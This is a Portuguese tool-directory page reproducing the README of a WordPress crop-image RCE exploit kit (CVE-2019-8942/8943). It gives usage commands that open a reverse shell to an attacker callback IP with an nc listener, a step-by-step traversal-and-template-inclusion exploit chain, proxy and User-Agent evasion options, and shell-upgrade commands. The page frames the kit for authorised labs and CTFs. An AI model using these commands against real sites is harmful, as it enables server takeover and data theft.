Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de PayloadsLabs e Prática
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

Kit de exploração em Python para WordPress Crop Image RCE — CVE-2019-8942 e CVE-2019-8943

Ver Repositório
14há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943

Implementação em Python3 da cadeia de exploração autenticada de recorte de imagem do WordPress. O repositório está organizado em dois fluxos de trabalho independentes: um script manual estilo OSCP e um script totalmente automatizado com um manipulador de reverse-shell integrado.

Use isso apenas em laboratórios autorizados, CTFs, plataformas de treinamento ou sistemas onde você tenha permissão explícita para testar.


Versões do WordPress afetadas

A cadeia de exploração visa as vulnerabilidades rastreadas como:

  • CVE-2019-8942
  • CVE-2019-8943

O módulo público do Metasploit para esta vulnerabilidade descreve as versões afetadas como:

root@kitploit:~
WordPress 5.0.0 and WordPress <= 4.9.8

É necessária uma conta válida do WordPress com permissões de upload/edição de mídia. Em muitos ambientes de laboratório, um usuário de nível Autor é suficiente.


Estrutura do repositório

root@kitploit:~
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg é o transportador JPG padrão usado pelo script estilo OSCP. Ele está incluído para que o fluxo manual funcione imediatamente sem precisar procurar uma imagem aleatória.

autoexploit.py é autossuficiente e inclui internamente seu próprio transportador JPG hexadecimal, mas também pode aceitar um JPG personalizado com -i.


Instalação

root@kitploit:~
python3 -m pip install -r requirements.txt

O único pacote Python necessário é:

root@kitploit:~
requests

Se você quiser suporte a proxy SOCKS, instale requests com os extras SOCKS em seu ambiente:

root@kitploit:~
python3 -m pip install 'requests[socks]'

Seleção de script

ScriptMelhor paraManipulação de imagemManipulação de shell
exploit_oscp.pyExploração manual/estilo OSCPUsa image.jpg por padrão, ou -i custom.jpgVocê inicia nc manualmente
autoexploit.pyUso rápido em laboratório e testes repetitivosUsa um JPG hex incorporado por padrão, ou -i custom.jpgInicia o listener, aciona callbacks e abre um console interativo

Ambos os scripts são independentes. Nenhum importa código do outro.


Fluxo de trabalho estilo OSCP

exploit_oscp.py mantém o fluxo explícito. Ele prepara o transportador de imagem, executa a cadeia de exploração autenticada do WordPress, confirma a execução de comandos e aciona um reverse shell para o listener que você iniciou manualmente.

Ele não inicia um manipulador automaticamente e não usa Metasploit, Meterpreter ou msfvenom.

Uso básico do OSCP

Inicie seu listener primeiro:

root@kitploit:~
nc -lvnp 443

Execute o exploit usando o image.jpg padrão:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Uso do OSCP com um JPG personalizado

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

Opções do OSCP

OpçãoObrigatórioPadrãoSignificado
-t, --targetSimNenhumURL base do WordPress alvo, por exemplo http://target.local/
-u, --usernameSimNenhumNome de usuário do WordPress
-p, --passwordSimNenhumSenha do WordPress
-i, --imageNãoimage.jpgTransportador JPG a ser preparado e enviado
--lhostSimNenhumSeu IP de callback, geralmente seu IP VPN/tun0
--lportSimNenhumPorta onde seu listener manual está esperando
--proxyNãoNenhumURL do proxy, por exemplo http://127.0.0.1:8080 ou socks5://127.0.0.1:9050
--user-agentNãoIntegradoCabeçalho User-Agent personalizado
--random-user-agentNãoDesativadoUsar um User-Agent aleatório semelhante a um navegador
--timeoutNão20Timeout HTTP em segundos
--debugNãoDesativadoExibir saída de depuração HTTP e salvar respostas de falha úteis

Exemplo do OSCP com Burp

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

Fluxo de trabalho totalmente automatizado

autoexploit.py foi projetado para velocidade. Ele pode ser executado apenas com as credenciais do alvo e tentará selecionar automaticamente o IP de callback e a porta do listener.

Ele executa o fluxo completo de exploração, inicia um listener local, tenta vários estilos de payload de reverse-shell e abre um console interativo mais limpo com mensagens de status local coloridas e tratamento silencioso de upgrade de TTY.

Uso automatizado básico

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password

Uso automatizado com valores de callback explícitos

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Uso automatizado com imagem personalizada e proxy

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

Opções automatizadas

OpçãoObrigatórioPadrãoSignificado
-t, --targetSimNenhumURL base do WordPress alvo
-u, --usernameSimNenhumNome de usuário do WordPress
-p, --passwordSimNenhumSenha do WordPress
-i, --imageNãoJPG hex incorporadoTransportador JPG personalizado opcional
--lhostNãoDetectado automaticamenteIP de callback usado pelo reverse shell
--lportNãoPorta local livrePorta do listener local
--listen-timeoutNão12Segundos para aguardar cada tentativa de reverse-shell
--proxyNãoNenhumURL do proxy, por exemplo http://127.0.0.1:8080 ou socks5://127.0.0.1:9050
--user-agentNãoIntegradoCabeçalho User-Agent personalizado
--random-user-agentNãoDesativadoUsar um User-Agent aleatório semelhante a um navegador
--timeoutNão20Timeout HTTP em segundos
--debugNãoDesativadoExibir saída de depuração HTTP e salvar respostas de falha úteis

Exemplos de proxy e User-Agent

Proxy HTTP via Burp:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

Proxy SOCKS:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

User-Agent personalizado:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

User-Agent aleatório:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

Por que a imagem é importante

Este não é um upload PHP normal. O WordPress espera conteúdo de imagem, processa o arquivo através do editor de mídia e cria uma imagem recortada. A cadeia de exploração então abusa dos metadados do anexo e do path traversal para colocar uma imagem recortada dentro do diretório do tema ativo. Finalmente, o arquivo recortado é referenciado como um modelo de página para que o WordPress o inclua como PHP.

Um JPG aleatório com PHP colocado em metadados EXIF frágeis pode falhar porque o GD pode remover ou recodificar metadados durante o processamento do recorte. Este repositório mantém o fluxo claro:

  • exploit_oscp.py usa o image.jpg incluído por padrão ou uma imagem personalizada passada com -i.
  • autoexploit.py contém um transportador hexadecimal interno para permanecer autossuficiente.
  • Ambos os fluxos preparam o upload de uma forma que visa sobreviver à etapa de recorte do WordPress.

Fluxo técnico

  1. Autenticar no WordPress.
  2. Detectar o tema ativo.
  3. Enviar o transportador JPG através de async-upload.php.
  4. Obter os nonces de mídia, editor de imagem e anexo.
  5. Usar a manipulação de _wp_attached_file para influenciar o caminho de saída do recorte.
  6. Acionar a ação de recorte uma vez para preparar o comportamento.
  7. Acionar a ação de recorte novamente com travessia para o diretório do tema ativo.
  8. Criar um post e definir _wp_page_template como o nome do JPG recortado.
  9. Solicitar o post para que o WordPress inclua o JPG manipulado como um template.
  10. Confirmar a execução de comandos através do parâmetro GET 0.
  11. Acionar um reverse shell para o endpoint de callback configurado ou selecionado automaticamente.

Solução de problemas

A autenticação funciona, mas a execução não é confirmada

Verifique se a versão do WordPress é vulnerável e se a conta pode fazer upload e editar mídia.

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

A execução de comandos é confirmada, mas nenhum shell retorna

Verifique o IP de callback e o listener.

root@kitploit:~
ip addr show tun0
root@kitploit:~
nc -lvnp 443

Então execute o script OSCP novamente com o --lhost correto.

Burp não mostra tráfego

Use a opção de proxy explicitamente:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

O proxy SOCKS falha

Instale o suporte SOCKS:

root@kitploit:~
python3 -m pip install 'requests[socks]'

O shell parece instável

Shells reversos básicos são frequentemente limitados. O script automatizado tenta fazer upgrade da sessão automaticamente. No modo OSCP, faça o upgrade manualmente após receber o callback:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

Pressione Ctrl+Z localmente e então execute:

root@kitploit:~
stty raw -echo; fg

Dentro do shell:

root@kitploit:~
export TERM=xterm

Notas sobre o estilo OSCP

exploit_oscp.py é intencionalmente manual:

  • sem Metasploit;
  • sem Meterpreter;
  • sem manipulador automático;
  • sem dependência de autoexploit.py;
  • listener explícito controlado pelo operador;
  • LHOST e LPORT explícitos;
  • saída clara mostrando cada etapa.

O fluxo de trabalho pretendido é:

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Créditos

A pesquisa e a cadeia de vulnerabilidades foram documentadas publicamente pelos pesquisadores originais e posteriormente implementadas em frameworks de exploração públicos.

Implementação em Python e fluxo de trabalho de laboratório por SpeatX.


Aviso legal

Este repositório é fornecido para testes de segurança autorizados, CTFs, laboratórios de treinamento e pesquisa educacional.

Não o execute contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.

Baixar ferramenta